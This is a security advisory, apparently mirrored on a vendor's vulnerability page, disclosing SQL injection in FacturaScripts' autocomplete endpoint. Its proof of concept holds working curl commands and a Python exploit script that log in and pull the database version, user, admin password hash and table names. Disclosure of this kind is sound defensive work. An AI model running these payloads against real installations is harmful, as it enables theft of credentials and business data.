GHSA-pqqg-5f4f-8952
FacturaScripts has SQL Injection in Autocomplete Actions
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
facturascripts/facturascriptsReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Summary
FacturaScripts contains a critical SQL Injection vulnerability in the autocomplete functionality that allows authenticated attackers to extract sensitive data from the database including user credentials, configuration settings, and all stored business data. The vulnerability exists in the CodeModel::all() method where user-supplied parameters are directly concatenated into SQL queries without sanitization or parameterized binding.
Details
Multiple controllers in FacturaScripts, including CopyModel, ListController, and PanelController, implement an autocomplete action that processes user input through the CodeModel::search() or CodeModel::all() methods. These methods construct SQL queries by directly concatenating user-controlled parameters without any validation or escaping.
Vulnerable Code Location
File: /Core/Model/CodeModel.php
Method: all()
Lines: 108-109
public static function all(string $tableName, string $fieldCode, string $fieldDescription, bool $addEmpty = true, array $where = []): array
{
// ......
// VULNERABLE CODE:
$sql = 'SELECT DISTINCT ' . $fieldCode . ' AS code, ' . $fieldDescription . ' AS description '
. 'FROM ' . $tableName . Where::multiSqlLegacy($where) . ' ORDER BY 2 ASC';
foreach (self::db()->selectLimit($sql, self::getLimit()) as $row) {
$result[] = new static($row);
}
return $result;
}
Vulnerable Parameters
The following parameters are vulnerable to SQL Injection:
source→ Maps to$tableName- Table name injectionfieldcode→ Maps to$fieldCode- Column name injectionfieldtitle→ Maps to$fieldDescription- Column name injection (Primary attack vector)
Attack Flow
- Attacker authenticates with valid credentials (any user role)
- Attacker sends POST request to
/CopyModelwithaction=autocomplete - Malicious SQL functions/queries are injected via the
fieldtitleparameter - Application executes the injected SQL and returns results in JSON format
- Attacker extracts sensitive data from the database
Proof of Concept (PoC)
Prerequisites
- Valid authentication credentials (admin/admin in test instance)
- Access to FacturaScripts web interface
Step-by-Step Manual Exploitation (CLI)
Since FacturaScripts uses MultiRequestProtection, a valid multireqtoken is required for every POST request.
1. Obtain initial token and session cookie:
FacturaScripts redirects / to /login, so we use -L to follow redirects and -c to save the session cookie.
TOKEN=$(curl -s -L -c cookies.txt "http://localhost:8091/login" | grep -Po 'name="multireqtoken" value="\K[^"]+')
echo $TOKEN
2. Authenticate (Login): Use the saved cookie and the token to log in.
curl -s -b cookies.txt -c cookies.txt -X POST "http://localhost:8091/login" \
-d "fsNick=admin" \
-d "fsPassword=admin" \
-d "action=login" \
-d "multireqtoken=$TOKEN"
3. Extract Database Version: Obtain a fresh token for the next request and execute the injection.
# Get fresh token
TOKEN=$(curl -s -b cookies.txt "http://localhost:8091/CopyModel" | grep -Po 'name="multireqtoken" value="\K[^"]+')
# Execute SQLi
curl -s -b cookies.txt "http://localhost:8091/CopyModel" \
-d "action=autocomplete" \
-d "source=users" \
-d "fieldcode=nick" \
-d "fieldtitle=version()" \
-d "term=admin" \
-d "multireqtoken=$TOKEN"
4. Extract Database User and Name:
# Get fresh token
TOKEN=$(curl -s -b cookies.txt "http://localhost:8091/CopyModel" | grep -Po 'name="multireqtoken" value="\K[^"]+')
# Execute SQLi
curl -s -b cookies.txt "http://localhost:8091/CopyModel" \
-d "action=autocomplete" \
-d "source=users" \
-d "fieldcode=nick" \
-d "fieldtitle=concat(user(),' @ ',database())" \
-d "term=admin" \
-d "multireqtoken=$TOKEN"
5. Extract Admin Password Hash:
# Get fresh token
TOKEN=$(curl -s -b cookies.txt "http://localhost:8091/CopyModel" | grep -Po 'name="multireqtoken" value="\K[^"]+')
# Execute SQLi
curl -s -b cookies.txt "http://localhost:8091/CopyModel" \
-d "action=autocomplete" \
-d "source=users" \
-d "fieldcode=nick" \
-d "fieldtitle=password" \
-d "term=admin" \
-d "multireqtoken=$TOKEN"
Automated Exploitation Script
#!/usr/bin/env python3
"""
FacturaScripts SQL Injection Exploit - Autocomplete
Author: Łukasz Rybak
"""
import requests
import re
import json
# Configuration
BASE_URL = "http://localhost:8091"
USERNAME = "admin"
PASSWORD = "admin"
session = requests.Session()
def get_csrf_token(url):
"""Extract CSRF token from page"""
response = session.get(url)
match = re.search(r'name="multireqtoken" value="([^"]+)"', response.text)
return match.group(1) if match else None
def login():
"""Authenticate to FacturaScripts"""
print(f"[*] Logging in as {USERNAME}...")
token = get_csrf_token(f"{BASE_URL}/login")
if not token:
print("[!] Failed to get CSRF token")
exit()
data = {
"multireqtoken": token,
"action": "login",
"fsNick": USERNAME,
"fsPassword": PASSWORD
}
response = session.post(f"{BASE_URL}/login", data=data)
if "Dashboard" not in response.text:
print("[!] Login failed!")
exit()
print("[+] Successfully logged in.")
def exploit_sqli(field_payload, term="admin", source="users", field_code="nick"):
"""Execute SQL injection through autocomplete"""
data = {
"action": "autocomplete",
"source": source,
"fieldcode": field_code,
"fieldtitle": field_payload,
"term": term
}
response = session.post(f"{BASE_URL}/CopyModel", data=data)
try:
return response.json()
except:
return None
def main():
login()
print("\n" + "="*60)
print(" EXPLOITING SQL INJECTION IN AUTOCOMPLETE ")
print("="*60 + "\n")
# 1. Database version
print("[*] Extracting database version...")
res = exploit_sqli("version()")
if res:
print(f"[+] Database Version: {res[0]['value']}")
# 2. Current user and database
print("[*] Extracting DB user and database name...")
res = exploit_sqli("concat(user(),' @ ',database())")
if res:
print(f"[+] DB User @ Database: {res[0]['value']}")
# 3. Admin password hash
print("[*] Extracting admin password hash...")
res = exploit_sqli("password", term="admin")
if res:
print(f"[+] Admin Password Hash: {res[0]['value']}")
# 4. All table names
print("[*] Extracting table names...")
res = exploit_sqli("(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database())")
if res:
print(f"[+] Tables: {res[0]['value']}")
print("\n[+] Exploitation complete!")
if __name__ == "__main__":
main()
<img width="2524" height="410" alt="image" src="https://github.com/user-attachments/assets/19178918-0b83-4b94-a41d-38f33b034f5d" />
Impact
This SQL injection vulnerability has CRITICAL impact:
Data Confidentiality
- Complete database disclosure - Attacker can extract all data including:
- User credentials (password hashes)
- Customer information (names, addresses, tax IDs, etc.)
- Financial records (invoices, payments, bank details)
- Business logic and configuration data
- Plugin and system settings
Who is Impacted?
- All FacturaScripts installations running vulnerable versions
- All authenticated users can exploit (not just admins)
- Businesses using FacturaScripts for accounting/invoicing
- Customers whose data is stored in the system
Recommended Fix
Immediate Remediation
Option 1: Use Prepared Statements
// File: Core/Model/CodeModel.php
// Method: all()
public static function all(string $tableName, string $fieldCode, string $fieldDescription, bool $addEmpty = true, array $where = []): array
{
// ... validation code ...
// Validate and escape identifiers
$safeTableName = self::db()->escapeColumn($tableName);
$safeFieldCode = self::db()->escapeColumn($fieldCode);
$safeFieldDescription = self::db()->escapeColumn($fieldDescription);
// Use parameterized query
$sql = 'SELECT DISTINCT ' . $safeFieldCode . ' AS code, ' . $safeFieldDescription . ' AS description '
. 'FROM ' . $safeTableName . Where::multiSqlLegacy($where) . ' ORDER BY 2 ASC';
foreach (self::db()->selectLimit($sql, self::getLimit()) as $row) {
$result[] = new static($row);
}
return $result;
}
Credits
Discovered by: Łukasz Rybak
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | facturascripts/facturascripts | all versions | 2025.81 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for facturascripts/facturascripts. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update facturascripts/facturascripts to 2025.81 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-pqqg-5f4f-8952 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-pqqg-5f4f-8952 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-pqqg-5f4f-8952. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-pqqg-5f4f-8952 in your dependencies?
O3 detects GHSA-pqqg-5f4f-8952 across Packagist dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.